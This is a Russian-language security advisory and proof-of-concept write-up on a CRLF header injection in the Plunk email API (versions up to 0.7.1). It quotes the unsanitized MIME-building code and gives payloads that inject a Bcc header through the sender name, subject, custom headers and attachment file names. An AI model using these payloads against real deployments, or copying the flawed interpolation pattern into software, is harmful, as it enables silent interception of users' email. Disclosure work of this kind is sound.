
Концепция доказательства и технический анализ инъекции заголовков электронной почты CRLF в конструкции необработанного MIME Plunk, демонстрирующий инъекцию Bcc и другие векторы с помощью Python PoC.
Критичность: Высокая (CVSS 8.5)
CWE: CWE-93 — Ненадлежащая нейтрализация последовательностей CRLF («Инъекция CRLF»)
Затронуто: useplunk/plunk <= 0.7.1
Исправлено в: 0.8.0
Рекомендация: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Благодарность: Romain Deperne
Конечная точка POST /v1/send в Plunk формирует необработанное MIME-сообщение электронной почты путём прямой подстановки полей, предоставленных пользователем (from.name, subject, пользовательские заголовки, имена файлов вложений), в строковый шаблон без очистки от CRLF (\r\n). Аутентифицированный пользователь API может внедрить произвольные заголовки электронной почты — включая Bcc — чтобы незаметно перенаправить копии писем на адреса, контролируемые злоумышленником.
Я проводил аудит платформ для отправки электронной почты с открытым исходным кодом — всего, что оборачивает AWS SES и предоставляет API. Plunk позиционируется как дружественная разработчикам альтернатива SendGrid/Postmark, построенная на SES.
Моей отправной точкой стала функция конструирования необработанного письма. Всякий раз, когда я вижу rawMessage += или шаблонные литералы, формирующие MIME, я проверяю, очищено ли каждое предоставленное пользователем поле от CRLF. В SESService.ts ответ был явно отрицательным: from.name, subject, пользовательские заголовки и имена файлов вложений подставлялись напрямую.
Что подтвердило эксплуатируемость: схема Zod (packages/shared/src/schemas/index.ts) не имела ни .regex(), ни .refine(), отклоняющих \r\n в любом из этих полей. Никакой очистки на уровне схемы, никакой очистки на уровне конструирования MIME — чистый путь от входных данных API до внедрённого заголовка MIME.
Я протестировал все четыре вектора (from.name, subject, значение пользовательского заголовка, имя файла вложения) и подтвердил, что инъекция Bcc: работает. Любой аутентифицированный пользователь API с подтверждённым доменом отправителя может незаметно копировать каждое исходящее письмо на адрес, контролируемый злоумышленником. Реалистичный сценарий атаки — скомпрометированный ключ API, превращающийся в постоянный перехват электронной почты.
Файл: apps/api/src/services/SESService.ts, строки 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Схема Zod (packages/shared/src/schemas/index.ts) — без проверки CRLF:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
При конструировании сырого MIME-сообщения требуется, чтобы каждое значение, предоставленное пользователем, было очищено от \r\n перед интерполяцией. Plunk формирует сообщение с помощью шаблонных литералов и не очищает ни одно из четырёх полей, подверженных инъекции. SMTP-парсеры интерпретируют \r\n как границу заголовка, поэтому внедрение \r\nBcc: [email protected] в from.name добавляет настоящий заголовок Bcc в исходящее сообщение.
Полную демонстрацию с четырьмя векторами инъекции см. в poc.py.
Основной payload — инъекция Bcc через from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
Необработанный MIME, созданный SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES доставляет скрытую копию на [email protected] с каждым письмом, отправленным через скомпрометированный API-ключ.
Другие векторы инъекции:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender